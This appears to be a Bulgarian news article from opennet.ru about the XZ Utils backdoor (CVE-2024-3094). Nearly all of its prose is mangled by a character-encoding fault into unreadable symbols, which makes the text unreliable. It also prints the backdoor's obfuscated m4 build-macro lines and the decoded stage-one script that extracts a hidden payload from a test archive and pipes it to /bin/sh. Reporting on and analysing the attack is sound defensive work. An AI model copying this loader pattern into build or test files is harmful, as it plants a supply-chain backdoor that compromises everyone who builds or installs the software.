Π ΠΏΠ°ΠΊΠ΅ΡΠ° XZ Utils, ΠΊΠΎΠΉΡΠΎ Π²ΠΊΠ»ΡΡΠ²Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° liblzma ΠΈ ΡΡΠΈΠ»ΠΈΡΠΈ Π·Π° ΡΠ°Π±ΠΎΡΠ° Ρ ΠΊΠΎΠΌΠΏΡΠ΅ΡΠΈΡΠ°Π½ΠΈ Π΄Π°Π½Π½ΠΈ Π² ΡΠΎΡΠΌΠ°Ρ Β«.xzΒ», Π΅ ΠΎΡΠΊΡΠΈΡ Π±Π΅ΠΊΠ΄ΠΎΡ (CVE-2024-3094), ΠΊΠΎΠΉΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° ΠΏΡΠΈΡ Π²Π°ΡΠ°Π½Π΅ ΠΈ ΠΌΠΎΠ΄ΠΈΡΠΈΡΠΈΡΠ°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π°Π½ΠΈ ΠΎΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, ΡΠ²ΡΡΠ·Π°Π½ΠΈ Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° liblzma. ΠΡΠ½ΠΎΠ²Π½Π°ΡΠ° ΡΠ΅Π» Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡΠ° Π΅ ΡΡΡΠ²ΡΡΡΡ OpenSSH, ΡΠ²ΡΡΠ·Π°Π½ Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° libsystemd Π² Π½ΡΠΊΠΎΠΈ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠΈ, ΠΊΠΎΡΡΠΎ ΠΎΡ ΡΠ²ΠΎΡ ΡΡΡΠ°Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° liblzma. Π‘Π²ΡΡΠ·Π²Π°Π½Π΅ΡΠΎ Π½Π° sshd Ρ ΡΡΠ·Π²ΠΈΠΌΠ°ΡΠ° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ Π»ΠΈΡΠ° Π΄Π° ΠΏΠΎΠ»ΡΡΠ°Ρ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ SSH-ΡΡΡΠ²ΡΡΠ° Π±Π΅Π· ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅.
ΠΠ΅ΠΊΠ΄ΠΎΡΡΡ Π΅ ΠΏΡΠΈΡΡΡΡΠ²Π°Π» Π² ΠΎΡΠΈΡΠΈΠ°Π»Π½ΠΈΡΠ΅ Π²Π΅ΡΡΠΈΠΈ 5.6.0 ΠΈ 5.6.1, ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½ΠΈ Π½Π° 24 ΡΠ΅Π²ΡΡΠ°ΡΠΈ ΠΈ 9 ΠΌΠ°ΡΡ, ΠΊΠΎΠΈΡΠΎ ΡΠ° ΠΏΠΎΠΏΠ°Π΄Π½Π°Π»ΠΈ Π² Π½ΡΠΊΠΎΠΈ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠΈ ΠΈ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ, ΠΊΠ°ΡΠΎ Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ΠΈ 40-beta, openSUSE factory ΠΈ tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. ΠΡΠ΅ΠΏΠΎΡΡΡΠ²Π° ΡΠ΅ Π½Π° Π²ΡΠΈΡΠΊΠΈ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ Π½Π° Π²Π΅ΡΡΠΈΠΈΡΠ΅ xz 5.6.0 ΠΈ 5.6.1 ΡΠΏΠ΅ΡΠ½ΠΎ Π΄Π° ΡΠ΅ Π²ΡΡΠ½Π°Ρ Π½Π° Π²Π΅ΡΡΠΈΡ 5.4.6.
ΠΠ·Π³Π»Π°ΠΆΠ΄Π°ΡΠΈΡΡ ΡΠ°ΠΊΡΠΎΡ Π΅, ΡΠ΅ Π²Π΅ΡΡΠΈΡΡΠ° liblzma Ρ Π±Π΅ΠΊΠ΄ΠΎΡΠ° Π½Π΅ Π΅ ΡΡΠΏΡΠ»Π° Π΄Π° Π²Π»Π΅Π·Π΅ Π² ΡΡΡΡΠ°Π²Π° Π½Π° ΡΡΠ°Π±ΠΈΠ»Π½ΠΈΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π½Π° Π³ΠΎΠ»Π΅ΠΌΠΈ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠΈ, Π½ΠΎ Π΅ Π·Π°ΡΠ΅Π³Π½Π°Π»Π° openSUSE Tumbleweed ΠΈ Fedora 40-beta. Arch Linux ΠΈ Gentoo ΡΠ° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π»ΠΈ ΡΡΠ·Π²ΠΈΠΌΠ°ΡΠ° Π²Π΅ΡΡΠΈΡ zx, Π½ΠΎ Π½Π΅ ΡΠ° ΠΏΠΎΠ΄Π»ΠΎΠΆΠ΅Π½ΠΈ Π½Π° Π°ΡΠ°ΠΊΠ°, ΡΡΠΉ ΠΊΠ°ΡΠΎ Π½Π΅ ΠΏΡΠΈΠ»Π°Π³Π°Ρ ΠΏΠ°ΡΡΠ° Π·Π° openssh, Π·Π° ΠΏΠΎΠ΄ΠΊΡΠ΅ΠΏΠ° Π½Π° systemd-notify, ΠΊΠΎΠΉΡΠΎ Π²ΠΎΠ΄ΠΈ Π΄ΠΎ ΡΠ²ΡΡΠ·Π²Π°Π½Π΅ΡΠΎ Π½Π° sshd Ρ liblzma. ΠΠ΅ΠΊΠ΄ΠΎΡΡΡ Π·Π°ΡΡΠ³Π° ΡΠ°ΠΌΠΎ x86_64 ΡΠΈΡΡΠ΅ΠΌΠΈ Π½Π° Π±Π°Π·Π°ΡΠ° Π½Π° Linux ΡΠ΄ΡΠΎΡΠΎ ΠΈ Glibc C-Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ°.
ΠΠΎΠ΄ΡΡ Π·Π° Π°ΠΊΡΠΈΠ²ΠΈΡΠ°Π½Π΅ Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡΠ° Π΅ ΡΠΊΡΠΈΡ Π² m4-ΠΌΠ°ΠΊΡΠΎΡΠΈ ΠΎΡ ΡΠ°ΠΉΠ»Π° build-to-host.m4, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΎΡ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ° automake ΠΏΡΠΈ ΠΊΠΎΠΌΠΏΠΈΠ»Π°ΡΠΈΡ. ΠΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΈΠ·Π³ΡΠ°ΠΆΠ΄Π°Π½Π΅, Π² Ρ ΠΎΠ΄Π° Π½Π° ΡΠ»ΠΎΠΆΠ½ΠΈ ΠΎΠ±ΡΡΡΠΊΠΈΡΠ°ΡΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ Π½Π° Π±Π°Π·Π°ΡΠ° Π½Π° Π°ΡΡ ΠΈΠ²ΠΈ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° ΡΠ΅ΡΡ Π½Π° ΠΊΠΎΡΠ΅ΠΊΡΠ½ΠΎΡΠΎ ΡΡΠ½ΠΊΡΠΈΠΎΠ½ΠΈΡΠ°Π½Π΅, Π΅ Π±ΠΈΠ» Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½ ΠΎΠ±Π΅ΠΊΡΠ΅Π½ ΡΠ°ΠΉΠ» Ρ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΊΠΎΠ΄, ΠΊΠΎΠΉΡΠΎ Π΅ Π±ΠΈΠ» ΠΈΠ½ΡΠ΅Π³ΡΠΈΡΠ°Π½ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° liblzma ΠΈ Π΅ ΠΏΡΠΎΠΌΠ΅Π½ΠΈΠ» Π»ΠΎΠ³ΠΈΠΊΠ°ΡΠ° Π½Π° ΡΠ°Π±ΠΎΡΠ° Π½Π° Π½ΡΠΊΠΎΠΈ ΠΎΡ Π½Π΅ΠΉΠ½ΠΈΡΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ. ΠΠΊΡΠΈΠ²ΠΈΡΠ°ΡΠΈΡΠ΅ Π±Π΅ΠΊΠ΄ΠΎΡΠ° m4-ΠΌΠ°ΠΊΡΠΎΡΠΈ ΡΠ° Π±ΠΈΠ»ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΈ Π² tar-Π°ΡΡ ΠΈΠ²ΠΈΡΠ΅ Π½Π° ΡΠ΅Π»ΠΈΠ·ΠΈΡΠ΅, Π½ΠΎ ΡΠ° ΠΎΡΡΡΡΡΠ²Π°Π»ΠΈ ΠΎΡ Git-ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ. ΠΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΈΡΠ΅ ΡΠ΅ΡΡΠΎΠ²ΠΈ Π°ΡΡ ΠΈΠ²ΠΈ ΠΎΠ±Π°ΡΠ΅ ΡΠ° Π±ΠΈΠ»ΠΈ Π½Π°Π»ΠΈΡΠ½ΠΈ Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ, Ρ.Π΅. Π²Π½Π΅Π΄ΡΠΈΠ»ΠΎΡΠΎ Π±Π΅ΠΊΠ΄ΠΎΡΠ° Π΅ ΠΈΠΌΠ°Π»ΠΎ Π΄ΠΎΡΡΡΠΏ ΠΊΠ°ΠΊΡΠΎ Π΄ΠΎ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ, ΡΠ°ΠΊΠ° ΠΈ Π΄ΠΎ ΠΏΡΠΎΡΠ΅ΡΠΈΡΠ΅ Π½Π° ΡΡΠ·Π΄Π°Π²Π°Π½Π΅ Π½Π° ΡΠ΅Π»ΠΈΠ·ΠΈΡΠ΅.
ΠΡΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° liblzma Π² ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ ΠΌΠΎΠ³Π°Ρ Π΄Π° Π±ΡΠ΄Π°Ρ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ Π·Π° ΠΏΡΠΈΡ Π²Π°ΡΠ°Π½Π΅ ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π½Π° Π΄Π°Π½Π½ΠΈ, Π° ΡΡΡΠΎ ΠΈ Π·Π° Π²Π»ΠΈΡΠ½ΠΈΠ΅ Π²ΡΡΡ Ρ ΡΠ°Π±ΠΎΡΠ°ΡΠ° Π½Π° sshd. Π ΡΠ°ΡΡΠ½ΠΎΡΡ, Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΊΠΎΠ΄ Π΅ Π·Π°ΠΌΠ΅Π½ΡΠ» ΡΡΠ½ΠΊΡΠΈΡΡΠ° RSA_public_decrypt, Π·Π° Π΄Π° ΠΈΠ·Π±Π΅Π³Π½Π΅ ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° Π°ΡΡΠ΅Π½ΡΠΈΠΊΠ°ΡΠΈΡ Π² sshd. ΠΠ΅ΠΊΠ΄ΠΎΡΡΡ Π²ΠΊΠ»ΡΡΠ²Π° Π·Π°ΡΠΈΡΠ° ΠΎΡ ΠΎΡΠΊΡΠΈΠ²Π°Π½Π΅ ΠΈ Π½Π΅ ΠΏΡΠΎΡΠ²ΡΠ²Π° ΠΏΡΠΈΠ·Π½Π°ΡΠΈ ΠΏΡΠΈ Π·Π°Π΄Π°Π΄Π΅Π½ΠΈ ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ Π½Π° ΡΡΠ΅Π΄Π°ΡΠ° LANG ΠΈ TERM (Ρ.Π΅. ΠΏΡΠΈ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠ° Π² ΡΠ΅ΡΠΌΠΈΠ½Π°Π») ΠΈ Π½Π΅Π·Π°Π΄Π΅ΠΉΡΡΠ²Π°Π½ΠΈ ΠΏΡΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ Π½Π° ΡΡΠ΅Π΄Π°ΡΠ° LD_DEBUG ΠΈ LD_PROFILE, Π°ΠΊΡΠΈΠ²ΠΈΡΠ°ΠΉΠΊΠΈ ΡΠ΅ ΡΠ°ΠΌΠΎ ΠΏΡΠΈ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΈΠ·ΠΏΡΠ»Π½ΠΈΠΌ ΡΠ°ΠΉΠ» \/usr\/sbin\/sshd. Π Π±Π΅ΠΊΠ΄ΠΎΡΠ° ΡΡΡΠΎ ΠΈΠΌΠ°ΡΠ΅ ΡΡΠ΅Π΄ΡΡΠ²Π° Π·Π° ΠΎΡΠΊΡΠΈΠ²Π°Π½Π΅ Π½Π° ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π² ΠΎΡΠ»Π°Π΄ΡΡΠ½ΠΈ ΡΡΠ΅Π΄ΠΈ.
Π ΡΠ°ΡΡΠ½ΠΎΡΡ, Π² ΡΠ°ΠΉΠ»Π° m4\/build-to-host.m4 ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π° ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΠΈ gl_am_configmake=`grep -aErls Β«#{4}[[:alnum:]]{5}#{4}$Β» $srcdir\/ 2>/dev/null` β¦ gl_[$1]_config=βsed \Β»r\n\Β» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/nullβ
Π ΠΏΡΡΠ²Π°ΡΠ° ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΡΡΠ° grep Π½Π°ΠΌΠΈΡΠ° ΡΠ°ΠΉΠ»Π° tests\/files\/bad-3-corrupt_lzma2.xz, ΠΏΡΠΈ ΡΠ°Π·ΠΎΠΏΠ°ΠΊΠΎΠ²Π°Π½Π΅ΡΠΎ Π½Π° ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΡΠΎΡΠΌΠΈΡΡΠ΅Ρ ΡΡΠ΅Π½Π°ΡΠΈΠΉ: ####Hello#### #345U211267$^D330^W [ ! $(uname) = Β«LinuxΒ» ] && exit 0 [ ! $(uname) = Β«LinuxΒ» ] && exit 0 [ ! $(uname) = Β«LinuxΒ» ] && exit 0 [ ! $(uname) = Β«LinuxΒ» ] && exit 0 [ ! $(uname) = Β«LinuxΒ» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=Β»..\/..\/$srcdirΒ» fi export i=Β»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)Β»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr Β«\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113Β» Β«\0-\377Β»)|xz -F raw βlzma1 -dc|\/bin\/sh ####World####
ΠΠ°ΠΊ ΠΏΠΎΡΠ°Π·ΠΈΡΠ΅Π»ΠΈΡΠ΅ ΡΡΠΏΡΡ Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠ°Ρ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡΠ°ΡΠ° Π½Π° ΠΏΡΠΎΠ΅ΠΊΡΠ° xz Π²ΡΠ΅ ΠΎΡΠ΅ Π½Π΅ Π΅ Π½Π°ΠΏΡΠ»Π½ΠΎ ΠΈΠ·ΡΡΠ½Π΅Π½ΠΎ. Π‘ΡΡΠΎ ΡΠ°ΠΊΠ° Π½Π΅ Π΅ ΡΡΠ½ΠΎ ΠΊΠΎΠ»ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ ΠΈ ΠΏΡΠΎΠ΅ΠΊΡΠΈ ΡΠ° Π±ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠ°Π½ΠΈ Π² ΡΠ΅Π·ΡΠ»ΡΠ°Ρ Π½Π° Π΄Π΅ΠΉΡΡΠ²ΠΈΡΡΠ° Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡΠ°. ΠΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΈΡΡ Π°Π²ΡΠΎΡ Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡΠ° (JiaT75 β Jia Tan), ΠΊΠΎΠΉΡΠΎ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π° Π°ΡΡ ΠΈΠ²ΠΈ Ρ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ΅Π½ ΠΊΠΎΠ΄ Π² Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ΡΠΎ, Π΅ ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠΈΡΠ°Π» Ρ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅ Π½Π° Fedora ΠΈ Π΅ ΠΈΠ·ΠΏΡΠ°ΡΠ°Π» pull Π·Π°ΡΠ²ΠΊΠΈ Π² Debian, ΡΠ²ΡΡΠ·Π°Π½ΠΈ Ρ ΠΏΡΠ΅Ρ ΠΎΠ΄Π° Π½Π° Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΠΈΡΠ΅ ΠΊΡΠΌ Π²Π΅ΡΡΠΈΡ xz 5.6.0, ΠΈ Π½Π΅ Π΅ ΠΏΡΠ΅Π΄ΠΈΠ·Π²ΠΈΠΊΠ°Π» ΠΏΠΎΠ΄ΠΎΠ·ΡΠ΅Π½ΠΈΡ, ΡΡΠΉ ΠΊΠ°ΡΠΎ Π΅ ΡΡΠ°ΡΡΠ²Π°Π» Π² ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠ°ΡΠ° Π½Π° xz ΠΏΡΠ΅Π· ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ Π΄Π²Π΅ Π³ΠΎΠ΄ΠΈΠ½ΠΈ ΠΈ Π΅ Π²ΡΠΎΡΠΈΡΡ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊ ΠΏΠΎ Π±ΡΠΎΠΉ Π½Π° Π½Π°ΠΏΡΠ°Π²Π΅Π½ΠΈΡΠ΅ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ. ΠΡΠ²Π΅Π½ Π² ΠΏΡΠΎΠ΅ΠΊΡΠ° xz, ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΈΡΡ Π°Π²ΡΠΎΡ Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡΠ° Π΅ ΡΡΠ°ΡΡΠ²Π°Π» ΠΈ Π² ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΠ°ΡΠ° Π½Π° ΠΏΠ°ΠΊΠ΅ΡΠΈΡΠ΅ xz-java ΠΈ xz-embedded. ΠΡΠ²Π΅Π½ ΡΠΎΠ²Π°, ΠΏΡΠ΅Π΄ΠΈ Π½ΡΠΊΠΎΠ»ΠΊΠΎ Π΄Π½ΠΈ Jia Tan Π±Π΅ Π²ΠΊΠ»ΡΡΠ΅Π½ Π² ΡΠΏΠΈΡΡΠΊΠ° Π½Π° ΠΌΠ΅ΠΉΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈΡΠ΅ Π½Π° ΠΏΡΠΎΠ΅ΠΊΡΠ° XZ Embedded, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π² ΡΠ΄ΡΠΎΡΠΎ Π½Π° Linux.
ΠΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½Π° ΠΏΡΠΎΠΌΡΠ½Π° Π±Π΅ΡΠ΅ ΠΎΡΠΊΡΠΈΡΠ° ΡΠ»Π΅Π΄ Π°Π½Π°Π»ΠΈΠ· Π½Π° ΠΏΡΠ΅ΠΊΠΎΠΌΠ΅ΡΠ½Π°ΡΠ° ΠΊΠΎΠ½ΡΡΠΌΠ°ΡΠΈΡ Π½Π° CPU ΠΈ Π³ΡΠ΅ΡΠΊΠΈΡΠ΅, Π³Π΅Π½Π΅ΡΠΈΡΠ°Π½ΠΈ ΠΎΡ valgrind, ΠΏΡΠΈ ΡΠ²ΡΡΠ·Π²Π°Π½Π΅ ΡΡΠ΅Π· ssh ΠΊΡΠΌ ΡΠΈΡΡΠ΅ΠΌΠΈ, Π±Π°Π·ΠΈΡΠ°Π½ΠΈ Π½Π° Debian sid. ΠΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ Π΅, ΡΠ΅ Π² ΡΠ΅Π»ΠΈΠ·Π° xz 5.6.1 Π±ΡΡ
Π° Π²ΠΊΠ»ΡΡΠ΅Π½ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ, ΠΏΠΎΠ΄Π³ΠΎΡΠ²Π΅Π½ΠΈ ΠΎΡ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΈΡ Π°Π²ΡΠΎΡ Π½Π° Π±Π΅ΠΊΠ΄ΠΎΡΠ° Π² ΠΎΡΠ³ΠΎΠ²ΠΎΡ Π½Π° ΠΎΠΏΠ»Π°ΠΊΠ²Π°Π½ΠΈΡΡΠ° Π·Π° Π·Π°Π±Π°Π²ΡΠ½Π΅ Π½Π° ΡΠ°Π±ΠΎΡΠ°ΡΠ° ΠΈ ΡΡΠΈΠ²ΠΎΠ²Π΅ Π½Π° sshd, Π²ΡΠ·Π½ΠΈΠΊΠ½Π°Π»ΠΈ ΡΠ»Π΅Π΄ ΠΎΠ±Π½ΠΎΠ²ΡΠ²Π°Π½Π΅ΡΠΎ Π΄ΠΎ Π²Π΅ΡΡΠΈΡ zx 5.6.0 Ρ Π±Π΅ΠΊΠ΄ΠΎΡ. ΠΡΠ²Π΅Π½ ΡΠΎΠ²Π°, ΠΌΠΈΠ½Π°Π»Π°ΡΠ° Π³ΠΎΠ΄ΠΈΠ½Π° Jia Tan Π½Π°ΠΏΡΠ°Π²ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ, Π½Π΅ΠΊΠΎΡΠ΅ΠΊΡΠ½ΠΈ Π·Π° ΡΠ΅ΠΆΠΈΠΌΠ° Π½Π° ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° β-fsanitize=addressβ, ΠΊΠΎΠ΅ΡΠΎ Π΄ΠΎΠ²Π΅Π΄Π΅ Π΄ΠΎ Π½Π΅Π³ΠΎΠ²ΠΎΡΠΎ ΠΈΠ·ΠΊΠ»ΡΡΠ²Π°Π½Π΅ ΠΏΡΠΈ fuzzing ΡΠ΅ΡΡΠ²Π°Π½Π΅.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
